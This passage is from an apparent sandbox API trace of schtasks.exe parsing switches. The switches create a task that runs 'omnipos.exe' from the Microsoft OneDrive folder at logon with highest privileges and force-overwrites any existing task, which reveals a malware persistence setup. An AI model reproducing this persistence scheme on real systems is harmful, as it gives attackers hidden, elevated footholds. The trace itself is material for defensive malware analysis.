wMatch=0x4f) returned 0x0 [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x0) [0140.878] lstrlenW (lpString="ONLOGON") returned 7 [0140.878] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x0) [0140.878] lstrlenW (lpString="ONLOGON") returned 7 [0140.878] GetProcessHeap () returned 0x270000 [0140.878] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d500 [0140.878] GetProcessHeap () returned 0x270000 [0140.879] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc80 [0140.879] SetLastError (dwErrCode=0x0) [0140.879] SetLastError (dwErrCode=0x0) [0140.879] lstrlenW (lpString="/tr") returned 3 [0140.879] lstrlenW (lpString="-/") returned 2 [0140.879] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.879] lstrlenW (lpString="?") returned 1 [0140.879] lstrlenW (lpString="?") returned 1 [0140.879] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.879] lstrlenW (lpString="tr") returned 2 [0140.879] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.879] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.879] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.879] lstrlenW (lpString="|?|") returned 3 [0140.879] lstrlenW (lpString="|tr|") returned 4 [0140.879] SetLastError (dwErrCode=0x490) [0140.879] lstrlenW (lpString="create") returned 6 [0140.879] lstrlenW (lpString="create") returned 6 [0140.879] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.879] lstrlenW (lpString="tr") returned 2 [0140.879] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.879] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.879] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.879] lstrlenW (lpString="|create|") returned 8 [0140.879] lstrlenW (lpString="|tr|") returned 4 [0140.879] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0140.879] SetLastError (dwErrCode=0x490) [0140.879] lstrlenW (lpString="delete") returned 6 [0140.880] lstrlenW (lpString="delete") returned 6 [0140.880] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] lstrlenW (lpString="tr") returned 2 [0140.880] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|delete|") returned 8 [0140.880] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.880] lstrlenW (lpString="|delete|") returned 8 [0140.880] lstrlenW (lpString="|tr|") returned 4 [0140.880] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0140.880] SetLastError (dwErrCode=0x490) [0140.880] lstrlenW (lpString="query") returned 5 [0140.880] lstrlenW (lpString="query") returned 5 [0140.880] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] lstrlenW (lpString="tr") returned 2 [0140.880] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|query|") returned 7 [0140.880] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.880] lstrlenW (lpString="|query|") returned 7 [0140.880] lstrlenW (lpString="|tr|") returned 4 [0140.880] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0140.880] SetLastError (dwErrCode=0x490) [0140.880] lstrlenW (lpString="change") returned 6 [0140.880] lstrlenW (lpString="change") returned 6 [0140.880] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] lstrlenW (lpString="tr") returned 2 [0140.880] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.880] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|change|") returned 8 [0140.880] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.881] lstrlenW (lpString="|change|") returned 8 [0140.881] lstrlenW (lpString="|tr|") returned 4 [0140.881] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0140.881] SetLastError (dwErrCode=0x490) [0140.881] lstrlenW (lpString="run") returned 3 [0140.881] lstrlenW (lpString="run") returned 3 [0140.881] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] lstrlenW (lpString="tr") returned 2 [0140.881] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|run|") returned 5 [0140.881] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.881] lstrlenW (lpString="|run|") returned 5 [0140.881] lstrlenW (lpString="|tr|") returned 4 [0140.881] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0140.881] SetLastError (dwErrCode=0x490) [0140.881] lstrlenW (lpString="end") returned 3 [0140.881] lstrlenW (lpString="end") returned 3 [0140.881] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] lstrlenW (lpString="tr") returned 2 [0140.881] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|end|") returned 5 [0140.881] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.881] lstrlenW (lpString="|end|") returned 5 [0140.881] lstrlenW (lpString="|tr|") returned 4 [0140.881] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0140.881] SetLastError (dwErrCode=0x490) [0140.881] lstrlenW (lpString="showsid") returned 7 [0140.881] lstrlenW (lpString="showsid") returned 7 [0140.881] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] lstrlenW (lpString="tr") returned 2 [0140.881] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.881] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|showsid|") returned 9 [0140.881] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tr|") returned 4 [0140.882] lstrlenW (lpString="|showsid|") returned 9 [0140.882] lstrlenW (lpString="|tr|") returned 4 [0140.882] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0140.882] SetLastError (dwErrCode=0x490) [0140.882] SetLastError (dwErrCode=0x490) [0140.882] SetLastError (dwErrCode=0x0) [0140.882] lstrlenW (lpString="/tr") returned 3 [0140.882] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0140.882] SetLastError (dwErrCode=0x490) [0140.882] SetLastError (dwErrCode=0x0) [0140.882] lstrlenW (lpString="/tr") returned 3 [0140.882] GetProcessHeap () returned 0x270000 [0140.882] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x8) returned 0x28dcd0 [0140.882] GetProcessHeap () returned 0x270000 [0140.882] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28ccb0 [0140.882] SetLastError (dwErrCode=0x0) [0140.882] SetLastError (dwErrCode=0x0) [0140.882] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.882] lstrlenW (lpString="-/") returned 2 [0140.882] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.882] SetLastError (dwErrCode=0x490) [0140.882] SetLastError (dwErrCode=0x490) [0140.882] SetLastError (dwErrCode=0x0) [0140.882] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.882] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" [0140.882] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.882] GetProcessHeap () returned 0x270000 [0140.882] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28d520 [0140.882] _memicmp (_Buf1=0x28d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.882] GetProcessHeap () returned 0x270000 [0140.882] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xe) returned 0x28d540 [0140.882] GetProcessHeap () returned 0x270000 [0140.882] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28d560 [0140.882] _memicmp (_Buf1=0x28d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.883] GetProcessHeap () returned 0x270000 [0140.883] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x72) returned 0x28dcf0 [0140.883] SetLastError (dwErrCode=0x7a) [0140.883] SetLastError (dwErrCode=0x0) [0140.883] SetLastError (dwErrCode=0x0) [0140.883] lstrlenW (lpString="'C") returned 2 [0140.883] lstrlenW (lpString="-/") returned 2 [0140.883] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.883] SetLastError (dwErrCode=0x490) [0140.883] SetLastError (dwErrCode=0x490) [0140.883] SetLastError (dwErrCode=0x0) [0140.883] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.883] GetProcessHeap () returned 0x270000 [0140.883] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x70) returned 0x28dd70 [0140.883] GetProcessHeap () returned 0x270000 [0140.883] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cce0 [0140.883] SetLastError (dwErrCode=0x0) [0140.883] SetLastError (dwErrCode=0x0) [0140.883] lstrlenW (lpString="/rl") returned 3 [0140.883] lstrlenW (lpString="-/") returned 2 [0140.883] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.883] lstrlenW (lpString="?") returned 1 [0140.883] lstrlenW (lpString="?") returned 1 [0140.883] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.883] lstrlenW (lpString="rl") returned 2 [0140.883] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.883] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.883] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.883] lstrlenW (lpString="|?|") returned 3 [0140.883] lstrlenW (lpString="|rl|") returned 4 [0140.883] SetLastError (dwErrCode=0x490) [0140.883] lstrlenW (lpString="create") returned 6 [0140.883] lstrlenW (lpString="create") returned 6 [0140.883] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] lstrlenW (lpString="rl") returned 2 [0140.884] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.884] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.884] lstrlenW (lpString="|create|") returned 8 [0140.884] lstrlenW (lpString="|rl|") returned 4 [0140.884] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0140.884] SetLastError (dwErrCode=0x490) [0140.884] lstrlenW (lpString="delete") returned 6 [0140.884] lstrlenW (lpString="delete") returned 6 [0140.884] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] lstrlenW (lpString="rl") returned 2 [0140.884] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|delete|") returned 8 [0140.884] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.884] lstrlenW (lpString="|delete|") returned 8 [0140.884] lstrlenW (lpString="|rl|") returned 4 [0140.884] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0140.884] SetLastError (dwErrCode=0x490) [0140.884] lstrlenW (lpString="query") returned 5 [0140.884] lstrlenW (lpString="query") returned 5 [0140.884] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] lstrlenW (lpString="rl") returned 2 [0140.884] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.884] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|query|") returned 7 [0140.884] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.884] lstrlenW (lpString="|query|") returned 7 [0140.884] lstrlenW (lpString="|rl|") returned 4 [0140.884] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0140.884] SetLastError (dwErrCode=0x490) [0140.884] lstrlenW (lpString="change") returned 6 [0140.884] lstrlenW (lpString="change") returned 6 [0140.884] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] lstrlenW (lpString="rl") returned 2 [0140.885] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|change|") returned 8 [0140.885] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.885] lstrlenW (lpString="|change|") returned 8 [0140.885] lstrlenW (lpString="|rl|") returned 4 [0140.885] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0140.885] SetLastError (dwErrCode=0x490) [0140.885] lstrlenW (lpString="run") returned 3 [0140.885] lstrlenW (lpString="run") returned 3 [0140.885] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] lstrlenW (lpString="rl") returned 2 [0140.885] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|run|") returned 5 [0140.885] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.885] lstrlenW (lpString="|run|") returned 5 [0140.885] lstrlenW (lpString="|rl|") returned 4 [0140.885] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0140.885] SetLastError (dwErrCode=0x490) [0140.885] lstrlenW (lpString="end") returned 3 [0140.885] lstrlenW (lpString="end") returned 3 [0140.885] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] lstrlenW (lpString="rl") returned 2 [0140.885] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.885] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|end|") returned 5 [0140.885] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.885] lstrlenW (lpString="|end|") returned 5 [0140.885] lstrlenW (lpString="|rl|") returned 4 [0140.885] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0140.885] SetLastError (dwErrCode=0x490) [0140.885] lstrlenW (lpString="showsid") returned 7 [0140.886] lstrlenW (lpString="showsid") returned 7 [0140.886] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.886] lstrlenW (lpString="rl") returned 2 [0140.886] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.886] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|showsid|") returned 9 [0140.886] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|rl|") returned 4 [0140.886] lstrlenW (lpString="|showsid|") returned 9 [0140.886] lstrlenW (lpString="|rl|") returned 4 [0140.886] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x0) [0140.886] lstrlenW (lpString="/rl") returned 3 [0140.886] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x0) [0140.886] lstrlenW (lpString="/rl") returned 3 [0140.886] GetProcessHeap () returned 0x270000 [0140.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x8) returned 0x28ddf0 [0140.886] GetProcessHeap () returned 0x270000 [0140.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd10 [0140.886] SetLastError (dwErrCode=0x0) [0140.886] SetLastError (dwErrCode=0x0) [0140.886] lstrlenW (lpString="HIGHEST") returned 7 [0140.886] lstrlenW (lpString="-/") returned 2 [0140.886] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x0) [0140.886] lstrlenW (lpString="HIGHEST") returned 7 [0140.886] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0140.886] SetLastError (dwErrCode=0x490) [0140.886] SetLastError (dwErrCode=0x0) [0140.886] lstrlenW (lpString="HIGHEST") returned 7 [0140.886] GetProcessHeap () returned 0x270000 [0140.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d580 [0140.887] GetProcessHeap () returned 0x270000 [0140.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd40 [0140.887] SetLastError (dwErrCode=0x0) [0140.887] SetLastError (dwErrCode=0x0) [0140.887] lstrlenW (lpString="/f") returned 2 [0140.887] lstrlenW (lpString="-/") returned 2 [0140.887] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.887] lstrlenW (lpString="?") returned 1 [0140.887] lstrlenW (lpString="?") returned 1 [0140.887] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.887] lstrlenW (lpString="f") returned 1 [0140.887] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.887] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.887] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.887] lstrlenW (lpString="|?|") returned 3 [0140.887] lstrlenW (lpString="|f|") returned 3 [0140.887] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0140.887] SetLastError (dwErrCode=0x490) [0140.887] lstrlenW (lpString="create") returned 6 [0140.887] lstrlenW (lpString="create") returned 6 [0140.887] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.887] lstrlenW (lpString="f") returned 1 [0140.887] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.887] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.887] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.887] lstrlenW (lpString="|create|") returned 8 [0140.887] lstrlenW (lpString="|f|") returned 3 [0140.887] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0140.887] SetLastError (dwErrCode=0x490) [0140.887] lstrlenW (lpString="delete") returned 6 [0140.887] lstrlenW (lpString="delete") returned 6 [0140.887] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] lstrlenW (lpString="f") returned 1 [0140.888] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|delete|") returned 8 [0140.888] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.888] lstrlenW (lpString="|delete|") returned 8 [0140.888] lstrlenW (lpString="|f|") returned 3 [0140.888] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0140.888] SetLastError (dwErrCode=0x490) [0140.888] lstrlenW (lpString="query") returned 5 [0140.888] lstrlenW (lpString="query") returned 5 [0140.888] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] lstrlenW (lpString="f") returned 1 [0140.888] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|query|") returned 7 [0140.888] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.888] lstrlenW (lpString="|query|") returned 7 [0140.888] lstrlenW (lpString="|f|") returned 3 [0140.888] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0140.888] SetLastError (dwErrCode=0x490) [0140.888] lstrlenW (lpString="change") returned 6 [0140.888] lstrlenW (lpString="change") returned 6 [0140.888] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] lstrlenW (lpString="f") returned 1 [0140.888] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.888] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|change|") returned 8 [0140.888] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.888] lstrlenW (lpString="|change|") returned 8 [0140.888] lstrlenW (lpString="|f|") returned 3 [0140.888] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0140.888] SetLastError (dwErrCode=0x490) [0140.889] lstrlenW (lpString="run") returned 3 [0140.889] lstrlenW (lpString="run") returned 3 [0140.889] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] lstrlenW (lpString="f") returned 1 [0140.889] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|run|") returned 5 [0140.889] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.889] lstrlenW (lpString="|run|") returned 5 [0140.889] lstrlenW (lpString="|f|") returned 3 [0140.889] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0140.889] SetLastError (dwErrCode=0x490) [0140.889] lstrlenW (lpString="end") returned 3 [0140.889] lstrlenW (lpString="end") returned 3 [0140.889] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] lstrlenW (lpString="f") returned 1 [0140.889] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|end|") returned 5 [0140.889] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.889] lstrlenW (lpString="|end|") returned 5 [0140.889] lstrlenW (lpString="|f|") returned 3 [0140.889] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0140.889] SetLastError (dwErrCode=0x490) [0140.889] lstrlenW (lpString="showsid") returned 7 [0140.889] lstrlenW (lpString="showsid") returned 7 [0140.889] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] lstrlenW (lpString="f") returned 1 [0140.889] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.889] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|showsid|") returned 9 [0140.889] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|f|") returned 3 [0140.889] lstrlenW (lpString="|showsid|") returned 9 [0140.890] lstrlenW (lpString="|f|") returned 3 [0140.890] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0140.890] SetLastError (dwErrCode=0x490) [0140.890] SetLastError (dwErrCode=0x490) [0140.890] SetLastError (dwErrCode=0x0) [0140.890] lstrlenW (lpString="/f") returned 2 [0140.890] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0140.890] SetLastError (dwErrCode=0x490) [0140.890] SetLastError (dwErrCode=0x0) [0140.890] lstrlenW (lpString="/f") returned 2 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x6) returned 0x28de10 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd70 [0140.890] SetLastError (dwErrCode=0x0) [0140.890] GetProcessHeap () returned 0x270000 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1e0) returned 1 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c1e0) returned 0x8 [0140.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1e0 | out: hHeap=0x270000) returned 1 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbf0) returned 1 [0140.890] GetProcessHeap () returned 0x270000 [0140.890] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cbf0) returned 0x20 [0140.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbf0 | out: 